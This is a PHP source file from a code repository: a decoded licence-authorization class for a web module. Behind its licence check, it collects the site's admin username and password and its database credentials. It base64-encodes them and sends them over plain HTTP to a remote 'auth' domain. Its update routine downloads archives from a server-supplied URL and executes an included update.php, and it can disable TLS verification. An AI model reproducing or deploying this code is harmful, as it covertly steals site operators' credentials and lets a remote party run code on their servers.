wangdakun
/
contrast_ai


			
				
					
						
						
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							<?php

//decode by http://www.yunlu99.com/
class Authorization
{
    const AUTH_DOMAIN = "auth.wike.cc";
    const APP_API_KEY = "1ba358f1a568aca38b8dc6b196e71ef5";
    const APPID = "2";
    const METHOD = "get";
    const HTTP = false;
    const TIME = 1;
    const QUEUE_TIME = 60;
    const SESSION_NAME = "SF_CheckAuthResult";
    const LOADING_HTML = "<!DOCTYPE html><html lang=\"zh-CN\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><title>站点提示信息</title></head><div id=\"bg\" style=\"width:100%\"><span class=\"whirly-loader\" id=\"loading\" style=\"position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);\"></span></div>";
    const CLOSE_LOADING_HTML = "<script src=\"//lib.baomitu.com/jquery/2.1.4/jquery.min.js\"></script><script>\$(\"#loading\").fadeOut();\$(\"#bg\").fadeOut();</script>";
    private static function message($msg)
    {
        $html = "<style>html{background:#eee}body{background:#fff;color:#333;font-family:\"微软雅黑\",\"Microsoft YaHei\",sans-serif;margin:2em auto;padding:1em 2em;max-width:700px;-webkit-box-shadow:10px 10px 10px rgba(0,0,0,.13);box-shadow:10px 10px 10px rgba(0,0,0,.13);opacity:.8}#error-page{margin-top:50px}h3{text-align:center}#error-page p{font-size:9px;line-height:1.5;margin:25px 0 20px}a{color:#21759B;text-decoration:none;margin-top:-10px}a:hover{color:#D54E21}</style><body id=\"error-page\"><h3>站点提示信息</h3>" . $msg . "</body></html>";
        exit($html);
    }
    private static function loading()
    {
        header("X-Accel-Buffering: no");
        ob_end_flush();
        ob_implicit_flush(1);
        echo self::LOADING_HTML;
        if (connection_aborted()) {
            exit;
        }
    }
    private static function close_loading()
    {
        echo self::CLOSE_LOADING_HTML;
    }
    public static function main()
    {
        $SF_CheckAuthResult = self::getSession();
        if (!empty($SF_CheckAuthResult)) {
            $result = $SF_CheckAuthResult;
            if (is_array($result)) {
                $time = self::publicDecrypt($result["data"]["time"]);
                if ($time + self::TIME > time()) {
                    if ($result["code"] != 0) {
                        self::message($result["msg"]);
                    }
                } else {
                    self::deleteSession();
                }
            } else {
                self::deleteSession();
                self::message("链接服务器失败");
            }
        } else {
            $result = self::checkInfo();
            if (!$result) {
                self::message("链接服务器失败");
            } else {
                if ($result["data"]["code"] == 0) {
                    self::setSession($result);
                } else {
                    if ($result["data"]["code"] != 1) {
                        self::message($result["msg"]);
                    }
                }
            }
        }
    }
    public static function updateMain($SF_Action = "check")
    {
        $result = self::checkInfo("update");
        switch ($SF_Action) {
            case "check":
                if (!$result) {
                    $data = ["code" => -1, "msg" => "啊哦，更新服务器开小差了，请刷新此页面。"];
                    return $data;
                } else {
                    return $result;
                }
            case "update":
                $downloadUrl = $result["data"]["data"]["url"];
                $ZipFile = "SF.zip";
                foreach ($result["data"]["data"]["download"] as $res) {
                    ini_set("user_agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)");
                    if (!copy($downloadUrl . $res, $ZipFile)) {
                        $data = ["code" => -1, "msg" => "无法下载更新包文件！"];
                        return $data;
                    }
                    $addstr = '';
                    if (self::zipExtract($ZipFile, IA_ROOT_WK)) {
                        if (function_exists("opcache_reset")) {
                            @opcache_reset();
                        }
                        if (file_exists(IA_ROOT_WK . "/update.php")) {
                            include IA_ROOT_WK . "/update.php";
                            chmod(IA_ROOT_WK . "/update.php", 0777);
                            unlink(IA_ROOT_WK . "/update.php");
                        }
                    } else {
                        if (file_exists($ZipFile)) {
                            @unlink($ZipFile);
                        }
                        $data = ["code" => -1, "msg" => "解压更新包失败，请稍后重试"];
                        return $data;
                    }
                }
                $data = ["code" => 1, "msg" => "已更新至最新版本"];
                return $data;
            default:
                $data = ["code" => -1, "msg" => "请求类型错误！"];
                return $data;
        }
    }
    public static function getModuleInfo()
    {
        $data = ["edition" => AuthInfo::EDITION, "module_title" => MODULE_TITLE];
        return $data;
    }
    private static function zipExtract($src, $dest)
    {
        $zip = new ZipArchive();
        if ($zip->open($src) === true) {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    private static function getParam()
    {
        global $conf, $dbconfig;
        if (!class_exists("AuthInfo")) {
            self::message("缺少授权信息类！");
        }
        return array("authcode" => AuthInfo::AUTHCODE, "version" => AuthInfo::VERSION, "用户名" => $conf["admin_user"], "密码" => $conf["admin_pwd"], "qq" => $conf["kfqq"], "数据库用户名" => $dbconfig["user"], "数据库密码" => $dbconfig["pwd"], "数据库库名" => $dbconfig["dbname"]);
    }
    private static function checkInfo($type = "auth")
    {
        switch ($type) {
            case "update":
                $method = "checkUpdate";
                $queueMethod = "checkUpdate";
                break;
            default:
                $method = "checkAuth";
                $queueMethod = "checkUpdate";
                break;
        }
        $data = array("auth_info" => getenv("HTTP_HOST"), "appid" => self::APPID, "api_key" => self::APP_API_KEY, "param" => base64_encode(json_encode(self::getParam())));
        $http = !self::HTTP ? "http://" : "https://";
        $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $method, $data, self::METHOD, self::HTTP);
        $result = json_decode($result, true);
        if (is_array($result)) {
            if (!empty($result["data"]["queue"])) {
                $i = 0;
                while (1) {
                    $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $queueMethod, $data, self::METHOD, self::HTTP);
                    $result = json_decode($result, true);
                    if (is_array($result)) {
                        if (!empty($result["data"]["queue"])) {
                            $i++;
                            if ($i > self::QUEUE_TIME) {
                                return false;
                            }
                        } else {
                            return $result;
                        }
                    } else {
                        return false;
                    }
                    sleep(1);
                }
            } else {
                return $result;
            }
        }
        return false;
    }
    private static function publicDecrypt($encrypted = '')
    {
        if (!is_string($encrypted)) {
            return null;
        }
        return openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey()) ? $decrypted : null;
    }
    private static function getPublicKey()
    {
        if (!class_exists("AuthInfo")) {
            self::message("缺少授权信息类！");
        }
        $publicKey = AuthInfo::PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }
    private static function getSession()
    {
        return !empty($_SESSION[self::SESSION_NAME]) ? $_SESSION[self::SESSION_NAME] : null;
    }
    private static function setSession($session = null)
    {
        $_SESSION[self::SESSION_NAME] = $session;
    }
    private static function deleteSession()
    {
        unset($_SESSION[self::SESSION_NAME]);
    }
    private static function curl_request($url, $data = array(), $type = "post", $https = false)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        if ($https) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        }
        if (strtolower($type) == "post") {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        } else {
            if (!empty($data) && is_array($data)) {
                $url = $url . "?" . http_build_query($data);
            }
        }
        curl_setopt($ch, CURLOPT_URL, $url);
        $result = curl_exec($ch);
        if ($result === false) {
            return false;
        }
        curl_close($ch);
        return $result;
    }
}